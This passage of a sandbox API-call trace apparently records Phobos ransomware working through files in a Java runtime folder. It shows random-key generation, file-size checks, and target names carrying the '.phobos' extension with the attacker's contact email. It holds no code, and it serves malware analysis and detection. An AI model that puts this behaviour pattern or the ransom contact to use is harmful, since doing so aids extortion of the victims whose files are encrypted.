pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.670] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=632) returned 1 [0150.670] CloseHandle (hObject=0x580) returned 1 [0150.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20 [0150.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.670] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.671] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1044) returned 1 [0150.671] CloseHandle (hObject=0x580) returned 1 [0150.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0150.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.672] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.672] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=274474) returned 1 [0150.672] CloseHandle (hObject=0x580) returned 1 [0150.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20 [0150.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.673] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.673] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=3144) returned 1 [0150.673] CloseHandle (hObject=0x580) returned 1 [0150.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0150.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.673] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.674] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=5548) returned 1 [0150.674] CloseHandle (hObject=0x580) returned 1 [0150.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0150.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.674] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.675] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=4122) returned 1 [0150.675] CloseHandle (hObject=0x580) returned 1 [0150.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0150.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.675] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.822] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=2860) returned 1 [0150.822] CloseHandle (hObject=0x564) returned 1 [0150.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20 [0150.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.823] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.873] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=42185) returned 1 [0150.874] CloseHandle (hObject=0x564) returned 1 [0150.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20 [0150.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.874] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.875] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=280161) returned 1 [0150.875] CloseHandle (hObject=0x564) returned 1 [0150.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20 [0150.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.875] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.876] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=32699) returned 1 [0150.876] CloseHandle (hObject=0x564) returned 1 [0150.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20 [0150.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.876] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.877] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=251327) returned 1 [0150.877] CloseHandle (hObject=0x564) returned 1 [0150.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0150.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.878] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.878] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=68924) returned 1 [0150.878] CloseHandle (hObject=0x564) returned 1 [0150.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20 [0150.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.879] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.879] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=3928) returned 1 [0150.879] CloseHandle (hObject=0x564) returned 1 [0150.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20 [0150.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.880] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.881] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=3770) returned 1 [0150.881] CloseHandle (hObject=0x564) returned 1 [0150.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20 [0150.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.881] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.882] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10568) returned 1 [0150.882] CloseHandle (hObject=0x564) returned 1 [0150.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20 [0150.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.886] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.888] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=75144) returned 1 [0150.888] CloseHandle (hObject=0x564) returned 1 [0150.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20 [0150.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.889] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.889] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=75124) returned 1 [0150.889] CloseHandle (hObject=0x564) returned 1 [0150.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20 [0150.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program 